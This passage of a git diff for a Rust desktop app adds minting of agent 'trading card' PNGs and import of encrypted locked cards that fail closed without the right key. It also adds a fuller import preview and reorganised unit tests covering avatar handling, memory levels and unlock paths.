+    assert!(append_within_avatar_cap(&mut buf, &[0u8]).is_err());
+    assert_eq!(buf.len(), MAX_AVATAR_FETCH_BYTES);
+
+    // A single oversized chunk is rejected outright.
+    let mut fresh = Vec::new();
+    let oversized = vec![0u8; MAX_AVATAR_FETCH_BYTES + 1];
+    assert!(append_within_avatar_cap(&mut fresh, &oversized).is_err());
+    assert!(fresh.is_empty());
+}
+
+#[test]
+fn save_rejects_plain_png_without_snapshot_chunk() {
+    // A plain PNG (no buzz_agent_snapshot chunk) must not be saveable as
+    // a card. Exercise the same validation the command runs.
+    let img = image::DynamicImage::new_rgba8(4, 4);
+    let mut png = Vec::new();
+    img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
+        .unwrap();
+    assert!(decode_snapshot_png(&png).is_err());
+}
+
+#[test]
+fn archived_sidecar_without_memory_level_defaults_to_none() {
+    // Every mint before the memory option existed embedded MemoryLevel::None
+    // structurally, so old sidecars (no memoryLevel field) must deserialize
+    // to None — the gallery's disclosure depends on this being honest.
+    let legacy = r#"{
+        "storedFileName": "eva-1234.agent.png",
+        "fileName": "eva.agent.png",
+        "agentId": "abc",
+        "agentName": "Eva",
+        "designerNotes": "",
+        "locked": false,
+        "mintedAt": "2026-07-28T00:00:00Z"
+    }"#;
+    let meta: ArchivedCardMeta = serde_json::from_str(legacy).unwrap();
+    assert_eq!(meta.memory_level, MemoryLevel::None);
+
+    let with_level = legacy.replace(
+        "\"locked\": false,",
+        "\"locked\": false, \"memoryLevel\": \"everything\",",
+    );
+    let meta: ArchivedCardMeta = serde_json::from_str(&with_level).unwrap();
+    assert_eq!(meta.memory_level, MemoryLevel::Everything);
+}
+
+#[test]
+fn minted_card_serializes_memory_level_snake_case_value() {
+    // The TS layer narrows on the exact wire strings "none"/"core"/
+    // "everything" — pin the serde representation the frontend will see.
+    let minted = MintedCard {
+        card_png_base64: String::new(),
+        file_name: "eva.agent.png".to_string(),
+        designer_notes: String::new(),
+        locked: false,
+        memory_level: MemoryLevel::Core,
+    };
+    let json = serde_json::to_value(&minted).unwrap();
+    assert_eq!(json["memoryLevel"], "core");
+}
diff --git a/desktop/src-tauri/src/commands/personas/mod.rs b/desktop/src-tauri/src/commands/personas/mod.rs
index 66f7296a25..0cd7ad0324 100644
--- a/desktop/src-tauri/src/commands/personas/mod.rs
+++ b/desktop/src-tauri/src/commands/personas/mod.rs
@@ -306,11 +306,14 @@ pub async fn set_persona_active(
 }
 
 pub(crate) const PNG_MAGIC: [u8; 4] = [0x89, 0x50, 0x4E, 0x47];
+mod card;
 mod snapshot;
-pub use snapshot::encode_agent_snapshot_for_send;
-pub use snapshot::export_agent_snapshot;
+pub use card::*;
+#[cfg(test)]
+pub(crate) use snapshot::import::decode_snapshot_from_bytes;
 pub(crate) use snapshot::import::{
-    decode_snapshot_from_bytes, resolve_snapshot_import_behavior, MAX_SNAPSHOT_JSON_BYTES,
+    parse_snapshot_payload_from_bytes, resolve_snapshot_import_behavior, MAX_SNAPSHOT_JSON_BYTES,
     MAX_SNAPSHOT_PNG_BYTES,
 };
 pub use snapshot::{confirm_agent_snapshot_import, preview_agent_snapshot_import};
+pub use snapshot::{encode_agent_snapshot_for_send, export_agent_snapshot};
diff --git a/desktop/src-tauri/src/commands/personas/snapshot.rs b/desktop/src-tauri/src/commands/personas/snapshot.rs
index 583296dac0..e7bd1597e6 100644
--- a/desktop/src-tauri/src/commands/personas/snapshot.rs
+++ b/desktop/src-tauri/src/commands/personas/snapshot.rs
@@ -142,7 +142,7 @@ pub(crate) fn validate_snapshot_encode_size(bytes_len: usize, is_png: bool) -> R
 }
 
 /// Parse a `memory_level` string to `MemoryLevel`.
-fn parse_memory_level(s: &str) -> Result<MemoryLevel, String> {
+pub(crate) fn parse_memory_level(s: &str) -> Result<MemoryLevel, String> {
     match s {
         "none" | "" => Ok(MemoryLevel::None),
         "core" => Ok(MemoryLevel::Core),
@@ -153,6 +153,32 @@ fn parse_memory_level(s: &str) -> Result<MemoryLevel, String> {
     }
 }
 
+/// Flatten an owner-decrypted memory listing into manifest entries for
+/// `memory_level`: `Core` takes the core entry only; `Everything` appends all
+/// `mem/*` entries after it. Pure so both the export and card-mint paths share
+/// (and tests can pin) the level → entries selection.
+pub(crate) fn memory_entries_from_listing(
+    listing: crate::commands::engrams::AgentMemoryListing,
+    memory_level: MemoryLevel,
+) -> Vec<AgentSnapshotMemoryEntry> {
+    let mut entries = Vec::new();
+    if let Some(core) = listing.core {
+        entries.push(AgentSnapshotMemoryEntry {
+            slug: core.slug,
+            body: core.body,
+        });
+    }
+    if memory_level == MemoryLevel::Everything {
+        for mem in listing.memories {
+            entries.push(AgentSnapshotMemoryEntry {
+                slug: mem.slug,
+                body: mem.body,
+            });
+        }
+    }
+    entries
+}
+
 /// Parse a `format` string to a PNG flag.
 fn parse_format_is_png(s: &str) -> Result<bool, String> {
     match s {
@@ -267,22 +293,7 @@ pub(crate) async fn materialize_snapshot_bytes(
     // ── Fetch memory ─────────────────────────────────────────────────────────
     let memory_entries: Vec<AgentSnapshotMemoryEntry> = if let Some(pubkey) = memory_pubkey {
         let listing = get_agent_memory(pubkey, app.clone(), state).await?;
-        let mut entries = Vec::new();
-        if let Some(core) = listing.core {
-            entries.push(AgentSnapshotMemoryEntry {
-                slug: core.slug,
-                body: core.body,
-            });
-        }
-        if memory_level == MemoryLevel::Everything {
-            for mem in listing.memories {
-                entries.push(AgentSnapshotMemoryEntry {
-                    slug: mem.slug,
-                    body: mem.body,
-                });
-            }
-        }
-        entries
+        memory_entries_from_listing(listing, memory_level)
     } else {
         Vec::new()
     };
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs b/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs
index 00a1457393..b769d74d7b 100644
--- a/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs
+++ b/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs
@@ -208,3 +208,64 @@ fn import_png_placeholder_keeps_manifest_avatar_fallback() {
     assert!(decoded.profile.avatar_data_url.is_none());
     assert_eq!(decoded.profile.avatar_url, snapshot.profile.avatar_url);
 }
+
+/// An unlocked trading card imports the agent's REAL avatar, never the card.
+///
+/// Mint-shaped input: the PNG body is the generated card artwork, while the
+/// manifest inlines the source avatar (`manifest_avatar_bytes` in `card.rs`).
+/// The #3578 body-wins override must not fire when the manifest already
+/// carries inline avatar bytes — otherwise the imported agent publishes the
+/// 1500-wide card as its kind:0 picture.
+#[test]
+fn import_unlocked_card_uses_manifest_avatar_not_card_artwork() {
+    use crate::managed_agents::agent_snapshot::{decode_avatar_data_url, encode_snapshot_png};
+    use base64::{engine::general_purpose::STANDARD, Engine as _};
+
+    // The real avatar: 4×3 solid blue, inlined in the manifest at mint time.
+    let real_avatar = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel(
+        4,
+        3,
+        image::Rgba([23, 91, 177, 255]),
+    ));
+    let mut real_avatar_png = std::io::Cursor::new(Vec::new());
+    real_avatar
+        .write_to(&mut real_avatar_png, image::ImageFormat::Png)
+        .unwrap();
+
+    let mut snapshot = make_snapshot(MemoryLevel::None, vec![]);
+    snapshot.profile.avatar_data_url = Some(format!(
+        "data:image/png;base64,{}",
+        STANDARD.encode(real_avatar_png.get_ref())
+    ));
+    snapshot.profile.avatar_url = Some("https://relay.example/media/live-kind0.png".to_string());
+
+    // The card artwork: a distinct 1500×2250 solid red "trading card" as the
+    // PNG body — the exact dimensions the minter encodes for unlocked cards.
+    // Size matters: 2250px exceeds `snapshot_avatar`'s 2048px decode limit,
+    // so reaching the body override here wouldn't just import the wrong
+    // face — it would fail the import outright.
+    let card_art = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel(
+        1500,
+        2250,
+        image::Rgba([200, 16, 16, 255]),
+    ));
+    let mut card_png = std::io::Cursor::new(Vec::new());
+    card_art
+        .write_to(&mut card_png, image::ImageFormat::Png)
+        .unwrap();
+    let file_bytes = encode_snapshot_png(&snapshot, Some(card_png.get_ref())).unwrap();
+
+    // Production import decode: the effective avatar must be the real one.
+    let decoded = decode_snapshot_from_bytes(&file_bytes).unwrap();
+    let avatar_bytes =
+        decode_avatar_data_url(decoded.profile.avatar_data_url.as_deref().unwrap()).unwrap();
+    let imported = image::load_from_memory(&avatar_bytes).unwrap();
+    assert_eq!(
+        (imported.width(), imported.height()),
+        (4, 3),
+        "imported avatar must be the source avatar, not the card artwork"
+    );
+    assert_eq!(imported.to_rgba8().get_pixel(0, 0).0, [23, 91, 177, 255]);
+    // The live kind:0 URL fallback survives untouched.
+    assert_eq!(decoded.profile.avatar_url, snapshot.profile.avatar_url);
+}
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/import.rs b/desktop/src-tauri/src/commands/personas/snapshot/import.rs
index eccf8ee601..d7f0323304 100644
--- a/desktop/src-tauri/src/commands/personas/snapshot/import.rs
+++ b/desktop/src-tauri/src/commands/personas/snapshot/import.rs
@@ -13,7 +13,11 @@ use tauri::{AppHandle, Emitter, State};
 use crate::{
     app_state::AppState,
     managed_agents::{
-        agent_snapshot::{decode_snapshot_json, decode_snapshot_png, AgentSnapshot, MemoryLevel},
+        agent_snapshot::{extract_chunk_payload_png, AgentSnapshot, MemoryLevel},
+        agent_snapshot_envelope::{
+            decrypt_envelope, parse_chunk_payload, resolve_unlock_secret, ChunkPayload,
+            LOCKED_CARD_REFUSAL,
+        },
         load_managed_agents, load_personas, save_managed_agents, save_personas, AgentDefinition,
         ManagedAgentRecord, RespondTo,
     },
@@ -72,6 +76,16 @@ pub struct AgentSnapshotImportPreview {
     pub has_source_allowlist: bool,
     /// Number of source allowlist entries.
     pub source_allowlist_count: usize,
+    /// Full source allowlist entries, surfaced before import so hidden access
+    /// configuration is never reduced to a count.
+    pub source_allowlist: Vec<String>,
+    /// Pretty-printed, validated manifest exactly as decoded from the file.
+    /// The UI makes this available before confirmation for full payload review.
+    pub manifest_json: String,
+    /// True when the snapshot came from a locked (encrypted) card that this
+    /// machine successfully unlocked. Cards that cannot be unlocked never
+    /// reach a preview — they fail closed with the locked-card refusal.
+    pub locked: bool,
 }
 
 /// The confirmation request sent from the UI after the user reviews the preview.
@@ -210,50 +224,112 @@ const PNG_MAGIC: [u8; 4] = [0x89, 0x50, 0x4e, 0x47];
 ///
 /// **Size cap:** PNG inputs over 10 MiB and JSON inputs over 5 MiB are rejected
 /// before allocation to avoid avoidable large-input work.
-pub(crate) fn decode_snapshot_from_bytes(
-    file_bytes: &[u8],
-) -> Result<crate::managed_agents::agent_snapshot::AgentSnapshot, String> {
-    if file_bytes.len() >= 4 && file_bytes[..4] == PNG_MAGIC {
+///
+/// **Locked cards:** a structurally valid locked envelope parses successfully
+/// as `ChunkPayload::Locked` — no decryption happens here. Callers that can
+/// unlock go through [`decode_snapshot_for_import`]; callers that only need
+/// transit validation (e.g. `fetch_snapshot_bytes`) accept `Locked` as-is.
+pub(crate) fn parse_snapshot_payload_from_bytes(file_bytes: &[u8]) -> Result<ChunkPayload, String> {
+    let payload: ChunkPayload = if file_bytes.len() >= 4 && file_bytes[..4] == PNG_MAGIC {
         if file_bytes.len() > MAX_SNAPSHOT_PNG_BYTES {
             return Err(format!(
                 "Snapshot file is too large ({} MiB). PNG snapshots must be under 10 MiB.",
                 file_bytes.len() / (1024 * 1024)
             ));
         }
-        let mut snapshot = decode_snapshot_png(file_bytes)?;
+        let chunk_json = extract_chunk_payload_png(file_bytes)?;
+        let mut payload = parse_chunk_payload(&chunk_json)?;
         // The PNG image body is the portable avatar. It deliberately wins over
-        // manifest avatar fields, whose URL may only be reachable by the
-        // sender. A 1×1 export placeholder leaves the manifest fallback intact.
-        if let Some(avatar_data_url) =
-            crate::managed_agents::snapshot_avatar::snapshot_png_avatar_data_url(file_bytes)?
-        {
-            snapshot.profile.avatar_data_url = Some(avatar_data_url);
+        // a manifest avatar *URL*, which may only be reachable by the sender.
+        // A 1×1 export placeholder leaves the manifest fallback intact.
+        // Inline manifest avatar *bytes* are authoritative and never
+        // overridden: trading cards supply the generated card artwork as the
+        // PNG body and carry the agent's real avatar inline — adopting the
+        // body there would import the card as the agent's face.
+        // Locked envelopes stay opaque here — there is no manifest to override
+        // until the unlock path decrypts one.
+        if let ChunkPayload::Plain(snapshot) = &mut payload {
+            if snapshot.profile.avatar_data_url.is_none() {
+                if let Some(avatar_data_url) =
+                    crate::managed_agents::snapshot_avatar::snapshot_png_avatar_data_url(
+                        file_bytes,
+                    )?
+                {
+                    snapshot.profile.avatar_data_url = Some(avatar_data_url);
+                }
+            }
         }
-        if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() {
-            return Err(
-                "Snapshot is malformed: memory.level is 'none' but entries are present."
-                    .to_string(),
-            );
+        payload
+    } else {
+        // JSON path — apply size cap before serde allocation.
+        if file_bytes.len() > MAX_SNAPSHOT_JSON_BYTES {
+            return Err(format!(
+                "Snapshot file is too large ({} MiB). JSON snapshots must be under 5 MiB.",
+                file_bytes.len() / (1024 * 1024)
+            ));
         }
-        return Ok(snapshot);
-    }
-    // JSON path — apply size cap before serde allocation.
-    if file_bytes.len() > MAX_SNAPSHOT_JSON_BYTES {
-        return Err(format!(
-            "Snapshot file is too large ({} MiB). JSON snapshots must be under 5 MiB.",
-            file_bytes.len() / (1024 * 1024)
-        ));
-    }
-    let snapshot = decode_snapshot_json(file_bytes)?;
+        parse_chunk_payload(file_bytes)?
+    };
     // Consistency check: none + non-empty entries is always malformed,
-    // regardless of format.  Mirrors the PNG path above so the rule is
-    // enforced at decode time for both formats.
-    if !snapshot.memory.entries.is_empty() && snapshot.memory.level == MemoryLevel::None {
+    // regardless of enclosing format. Enforced at decode time for plain
+    // payloads here, and after decryption for locked ones (see
+    // `enforce_memory_consistency` callers).
+    if let ChunkPayload::Plain(snapshot) = &payload {
+        enforce_memory_consistency(snapshot)?;
+    }
+    Ok(payload)
+}
+
+/// The shared malformed-memory guard: `memory.level == none` with non-empty
+/// entries is always rejected before any write.
+fn enforce_memory_consistency(
+    snapshot: &crate::managed_agents::agent_snapshot::AgentSnapshot,
+) -> Result<(), String> {
+    if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() {
         return Err(
             "Snapshot is malformed: memory.level is 'none' but entries are present.".to_string(),
         );
     }
-    Ok(snapshot)
+    Ok(())
+}
+
+/// Decode a plain snapshot from raw bytes, refusing locked cards.
+///
+/// Test-only convenience: production call sites either unlock through
+/// [`decode_snapshot_for_import`] or validate structurally through
+/// [`parse_snapshot_payload_from_bytes`].
+#[cfg(test)]
+pub(crate) fn decode_snapshot_from_bytes(
+    file_bytes: &[u8],
+) -> Result<crate::managed_agents::agent_snapshot::AgentSnapshot, String> {
+    match parse_snapshot_payload_from_bytes(file_bytes)? {
+        ChunkPayload::Plain(snapshot) => Ok(*snapshot),
+        ChunkPayload::Locked(_) => Err(LOCKED_CARD_REFUSAL.to_string()),
+    }
+}
+
+/// Decode a snapshot for import, unlocking locked cards when — and only
+/// when — this machine holds one of the envelope's two exact key endpoints
+/// (the owner identity or the named local agent record).
+///
+/// Returns the decoded manifest and whether it came from a locked envelope.
+/// When neither endpoint exists, fails closed with the locked-card refusal —
+/// never partial plaintext, never crypto details.
+pub(crate) fn decode_snapshot_for_import(
+    file_bytes: &[u8],
+    owner_keys: Option<&nostr::Keys>,
+    records: &[ManagedAgentRecord],
+) -> Result<(crate::managed_agents::agent_snapshot::AgentSnapshot, bool), String> {
+    match parse_snapshot_payload_from_bytes(file_bytes)? {
+        ChunkPayload::Plain(snapshot) => Ok((*snapshot, false)),
+        ChunkPayload::Locked(envelope) => {
+            let secret = resolve_unlock_secret(&envelope, owner_keys, records)
+                .ok_or_else(|| LOCKED_CARD_REFUSAL.to_string())?;
+            let snapshot = decrypt_envelope(&envelope, &secret)?;
+            enforce_memory_consistency(&snapshot)?;
+            Ok((snapshot, true))
+        }
+    }
 }
 
 async fn materialize_import_avatar<F, Fut>(
@@ -283,19 +359,38 @@ where
 /// `.agent.png` file. The format is sniffed from the content, not the
 /// extension, so an incorrectly-named file is handled correctly.
 ///
+/// Locked cards are unlocked here when this machine holds one of the
+/// envelope's two exact key endpoints; a card that cannot be unlocked fails
+/// with the locked-card refusal (shown directly to the user), never a
+/// partial preview. Identity-recovery mode is tolerated: owner keys are
+/// simply unavailable, so only the agent-record endpoint can unlock.
+///
 /// Returns an `AgentSnapshotImportPreview` or a descriptive error. Errors
-/// represent irrecoverable failures (corrupt / unsupported file) and are
-/// shown directly to the user.
+/// represent irrecoverable failures (corrupt / unsupported / locked-to-
+/// someone-else file) and are shown directly to the user.
 #[tauri::command]
 pub async fn preview_agent_snapshot_import(
     file_bytes: Vec<u8>,
     file_name: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
 ) -> Result<AgentSnapshotImportPreview, String> {
+    // Key material + records are gathered up front (cheap, lock-scoped) so
+    // the blocking decode below owns plain data.
+    let owner_keys = state.signing_keys().ok();
+    let records = {
+        let _store_guard = state
+            .managed_agents_store_lock
+            .lock()
+            .map_err(|e| e.to_string())?;
+        load_managed_agents(&app)?
+    };
     tokio::task::spawn_blocking(move || {
         reject_legacy_persona_filename(&file_name)?;
-        let snapshot = decode_snapshot_from_bytes(&file_bytes)?;
+        let (snapshot, locked) =
+            decode_snapshot_for_import(&file_bytes, owner_keys.as_ref(), &records)?;
 
-        Ok(build_agent_snapshot_import_preview(&snapshot))
+        build_agent_snapshot_import_preview(&snapshot, locked)
     })
     .await
     .map_err(|e| format!("spawn_blocking failed: {e}"))?
@@ -303,7 +398,8 @@ pub async fn preview_agent_snapshot_import(
 
 pub(crate) fn build_agent_snapshot_import_preview(
     snapshot: &AgentSnapshot,
-) -> AgentSnapshotImportPreview {
+    locked: bool,
+) -> Result<AgentSnapshotImportPreview, String> {
     let memory_level = match snapshot.memory.level {
         MemoryLevel::None => "none",
         MemoryLevel::Core => "core",
@@ -311,7 +407,11 @@ pub(crate) fn build_agent_snapshot_import_preview(
     }
     .to_string();
 
-    AgentSnapshotImportPreview {
+    let manifest_json = serde_json::to_string_pretty(snapshot)
+        .map_err(|e| format!("failed to render snapshot manifest: {e}"))?;
+    let source_allowlist = snapshot.definition.respond_to_allowlist.clone();
+
+    Ok(AgentSnapshotImportPreview {
         display_name: snapshot.profile.display_name.clone(),
         is_builtin: snapshot.definition.source_is_builtin,
         model: snapshot.definition.model.clone(),
@@ -325,9 +425,12 @@ pub(crate) fn build_agent_snapshot_import_preview(
             .or_else(|| snapshot.profile.avatar_url.clone()),
         memory_level,
         memory_entry_count: snapshot.memory.entries.len(),
-        source_allowlist_count: snapshot.definition.respond_to_allowlist.len(),
-        has_source_allowlist: !snapshot.definition.respond_to_allowlist.is_empty(),
-    }
+        source_allowlist_count: source_allowlist.len(),
+        has_source_allowlist: !source_allowlist.is_empty(),
+        source_allowlist,
+        manifest_json,
+        locked,
+    })
 }
 
 // ── `confirm_agent_snapshot_import` ──────────────────────────────────────────
@@ -355,8 +458,20 @@ pub async fn confirm_agent_snapshot_import(
     app: AppHandle,
     state: State<'_, AppState>,
 ) -> Result<AgentSnapshotImportResult, String> {
-    // ── Phase 1: validate (no I/O) ───────────────────────────────────────────
-    let snapshot = decode_snapshot_from_bytes(&input.file_bytes)?;
+    // ── Phase 1: validate (no writes) ────────────────────────────────────────
+    // Locked cards unlock only via this machine's exact key endpoints;
+    // anything else fails closed here, before key generation.
+    let snapshot = {
+        let owner_keys = state.signing_keys().ok();
+        let records = {
+            let _store_guard = state
+                .managed_agents_store_lock
+                .lock()
+                .map_err(|e| e.to_string())?;
+            load_managed_agents(&app)?
+        };
+        decode_snapshot_for_import(&input.file_bytes, owner_keys.as_ref(), &records)?.0
+    };
 
     let display_name = snapshot.profile.display_name.trim().to_string();
     if display_name.is_empty() {
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests.rs
index 4289310280..c453b09a9d 100644
--- a/desktop/src-tauri/src/commands/personas/snapshot/tests.rs
+++ b/desktop/src-tauri/src/commands/personas/snapshot/tests.rs
@@ -564,7 +564,7 @@ fn import_preview_includes_exported_definition_metadata() {
     let bytes = crate::managed_agents::agent_snapshot::encode_snapshot_json(&snapshot).unwrap();
     let decoded = decode_snapshot_from_bytes(&bytes).unwrap();
 
-    let preview = build_agent_snapshot_import_preview(&decoded);
+    let preview = build_agent_snapshot_import_preview(&decoded, false).unwrap();
 
     assert!(preview.is_builtin);
     assert_eq!(preview.model.as_deref(), Some("claude-opus-4-5"));
@@ -949,51 +949,14 @@ fn test_parse_format_is_png_invalid_returns_error() {
 }
 
 // ── Export: validate_snapshot_encode_size ────────────────────────────────────
-//
-// Tests call `validate_snapshot_encode_size` directly so they prove the exact
-// production guard — not a manual reconstruction.  Removing or reversing the
-// check in production code will cause these tests to fail.
 
-/// JSON: boundary-1 passes, boundary is the last legal byte count.
-#[test]
-fn validate_encode_size_json_at_boundary_minus_1_passes() {
-    assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES - 1, false).is_ok());
-}
+#[path = "tests_memory_entries.rs"]
+mod memory_entries;
 
-/// JSON: exactly at the boundary is the last accepted size.
-#[test]
-fn validate_encode_size_json_at_boundary_passes() {
-    assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES, false).is_ok());
-}
+#[path = "tests_encode_size.rs"]
+mod encode_size;
 
-/// JSON: boundary+1 is rejected.
-#[test]
-fn validate_encode_size_json_over_boundary_is_rejected() {
-    let err = super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES + 1, false).unwrap_err();
-    assert!(
-        err.contains("size limit"),
-        "error must mention size limit, got: {err}"
-    );
-}
+// ── Import: decode_snapshot_for_import (locked cards) ─────────────────────
 
-/// PNG: boundary-1 passes.
-#[test]
-fn validate_encode_size_png_at_boundary_minus_1_passes() {
-    assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES - 1, true).is_ok());
-}
-
-/// PNG: exactly at the boundary passes.
-#[test]
-fn validate_encode_size_png_at_boundary_passes() {
-    assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES, true).is_ok());
-}
-
-/// PNG: boundary+1 is rejected.
-#[test]
-fn validate_encode_size_png_over_boundary_is_rejected() {
-    let err = super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES + 1, true).unwrap_err();
-    assert!(
-        err.contains("size limit"),
-        "error must mention size limit, got: {err}"
-    );
-}
+#[path = "tests_locked.rs"]
+mod locked_import;
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs
new file mode 100644
index 0000000000..36eaa99716
--- /dev/null
+++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs
@@ -0,0 +1,55 @@
+//! Export-size guard tests for `validate_snapshot_encode_size`.
+//!
+//! Kept in a sibling file so `snapshot/tests.rs` stays under the
+//! 1000-line gate; `#[path]`-included from there as a child module,
+//! so `super::*` still resolves to the shared test imports.
+//!
+//! Tests call `validate_snapshot_encode_size` directly so they prove the
+//! exact production guard — not a manual reconstruction.  Removing or
+//! reversing the check in production code will cause these tests to fail.
+
+use super::*;
+
+/// JSON: boundary-1 passes, boundary is the last legal byte count.
+#[test]
+fn validate_encode_size_json_at_boundary_minus_1_passes() {
+    assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES - 1, false).is_ok());
+}
+
+/// JSON: exactly at the boundary is the last accepted size.
+#[test]
+fn validate_encode_size_json_at_boundary_passes() {
+    assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES, false).is_ok());
+}
+
+/// JSON: boundary+1 is rejected.
+#[test]
+fn validate_encode_size_json_over_boundary_is_rejected() {
+    let err = validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES + 1, false).unwrap_err();
+    assert!(
+        err.contains("size limit"),
+        "error must mention size limit, got: {err}"
+    );
+}
+
+/// PNG: boundary-1 passes.
+#[test]
+fn validate_encode_size_png_at_boundary_minus_1_passes() {
+    assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES - 1, true).is_ok());
+}
+
+/// PNG: exactly at the boundary passes.
+#[test]
+fn validate_encode_size_png_at_boundary_passes() {
+    assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES, true).is_ok());
+}
+
+/// PNG: boundary+1 is rejected.
+#[test]
+fn validate_encode_size_png_over_boundary_is_rejected() {
+    let err = validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES + 1, true).unwrap_err();
+    assert!(
+        err.contains("size limit"),
+        "error must mention size limit, got: {err}"
+    );
+}
diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs
new file mode 100644
index 0000000000..296444f78d
--- /dev/null
+++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs
@@ -0,0 +1,129 @@
+//! Locked-card import tests for `decode_snapshot_for_import`.
+//!
+//! Kept in a sibling file so `snapshot/tests.rs` stays under the
+//! 1000-line gate; `#[path]`-included from there as a child module,
+//! so `super::*` still resolves to the shared test helpers.
+
+use super::*;
+use crate::commands::personas::snapshot::import::{
+    decode_snapshot_for_import, parse_snapshot_payload_from_bytes,
+};
+use crate::managed_agents::agent_snapshot_envelope::{
+    encode_locked_snapshot_png, encrypt_snapshot_envelope, ChunkPayload, LOCKED_CARD_REFUSAL,
+};
+
+/// Build a keyed instance record holding real key material, so the
+/// agent-endpoint unlock path resolves exactly as production does.
+fn record_for(agent: &nostr::Keys) -> ManagedAgentRecord {
+    ManagedAgentRecord {
+        pubkey: agent.public_key().to_hex(),
+        slug: None,
+        persona_id: Some("locked-test".to_string()),
+        private_key_nsec: nostr::ToBech32::to_bech32(agent.secret_key()).unwrap(),
+        ..make_definition("")
+    }
+}
+
+fn locked_png(owner: &nostr::Keys, agent: &nostr::Keys) -> (AgentSnapshot, Vec<u8>) {
+    let snapshot = make_snapshot(MemoryLevel::None, vec![]);
+    let png = encode_locked_snapshot_png(&snapshot, owner, &agent.public_key(), None).unwrap();
+    (snapshot, png)
+}
+
+/// Owner identity key unlocks a locked card; `locked` is reported true.
+#[test]
+fn owner_endpoint_unlocks_locked_png() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
+    let (snapshot, png) = locked_png(&owner, &agent);
+    let (decoded, locked) = decode_snapshot_for_import(&png, Some(&owner), &[]).unwrap();
+    assert_eq!(decoded, snapshot);
+    assert!(locked);
+}
+
+/// A local managed-agent record holding the agent nsec unlocks the card
+/// even when the owner identity does not match (e.g. re-import on the
+/// agent's own machine under a different owner identity).
+#[test]
+fn agent_record_endpoint_unlocks_locked_png() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
+    let (snapshot, png) = locked_png(&owner, &agent);
+    let other_identity = nostr::Keys::generate();
+    let records = vec![record_for(&agent)];
+    let (decoded, locked) =
+        decode_snapshot_for_import(&png, Some(&other_identity), &records).unwrap();
+    assert_eq!(decoded, snapshot);
+    assert!(locked);
+}
+
+/// No matching endpoint → only the locked-card refusal, nothing else.
+#[test]
+fn stranger_fails_closed_with_refusal_only() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
+    let (_snapshot, png) = locked_png(&owner, &agent);
+    let stranger = nostr::Keys::generate();
+    let unrelated_record = record_for(&nostr::Keys::generate());
+    let err = decode_snapshot_for_import(&png, Some(&stranger), &[unrelated_record]).unwrap_err();
+    assert_eq!(err, LOCKED_CARD_REFUSAL);
+    // And with no key material at all.
+    let err = decode_snapshot_for_import(&png, None, &[]).unwrap_err();
+    assert_eq!(err, LOCKED_CARD_REFUSAL);
+}
+
+/// Plain snapshots pass through unchanged with `locked == false`, with or
+/// without key material in scope.
+#[test]
+fn plain_snapshot_passes_through_unlocked() {
+    use crate::managed_agents::agent_snapshot::encode_snapshot_png;
+    let snapshot = make_snapshot(MemoryLevel::None, vec![]);
+    let png = encode_snapshot_png(&snapshot, None).unwrap();
+    let owner = nostr::Keys::generate();
+    let (decoded, locked) = decode_snapshot_for_import(&png, Some(&owner), &[]).unwrap();
+    assert_eq!(decoded, snapshot);
+    assert!(!locked);
+    let (decoded, locked) = decode_snapshot_for_import(&png, None, &[]).unwrap();
+    assert_eq!(decoded, snapshot);
+    assert!(!locked);
+}
+
+/// The memory-consistency guard fires AFTER decryption too: a locked
+/// envelope whose plaintext declares level none + non-empty entries is
+/// rejected even for a legitimate endpoint.
+#[test]
+fn decrypted_manifest_memory_consistency_enforced() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
+    let malformed = make_snapshot(
+        MemoryLevel::None,
+        vec![AgentSnapshotMemoryEntry {
+            slug: "core".to_string(),
+            body: "leaked".to_string(),
+        }],
+    );
+    // encrypt_snapshot_envelope does not guard memory consistency (the
+    // PNG encoder does), so this constructs the malicious payload.
+    let envelope = encrypt_snapshot_envelope(&malformed, &owner, &agent.public_key()).unwrap();
+    let json = serde_json::to_vec(&envelope).unwrap();
+    let err = decode_snapshot_for_import(&json, Some(&owner), &[]).unwrap_err();
+    assert!(
+        err.contains("'none' but entries are present"),
+        "post-decrypt consistency guard must fire, got: {err}"
+    );
+}
+
+/// Transit validation (`fetch_snapshot_bytes` path) accepts a locked PNG
+/// without any key material — structural validation only, no decryption.
+#[test]
+fn transit_validation_accepts_locked_png_without_keys() {
+    let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate());
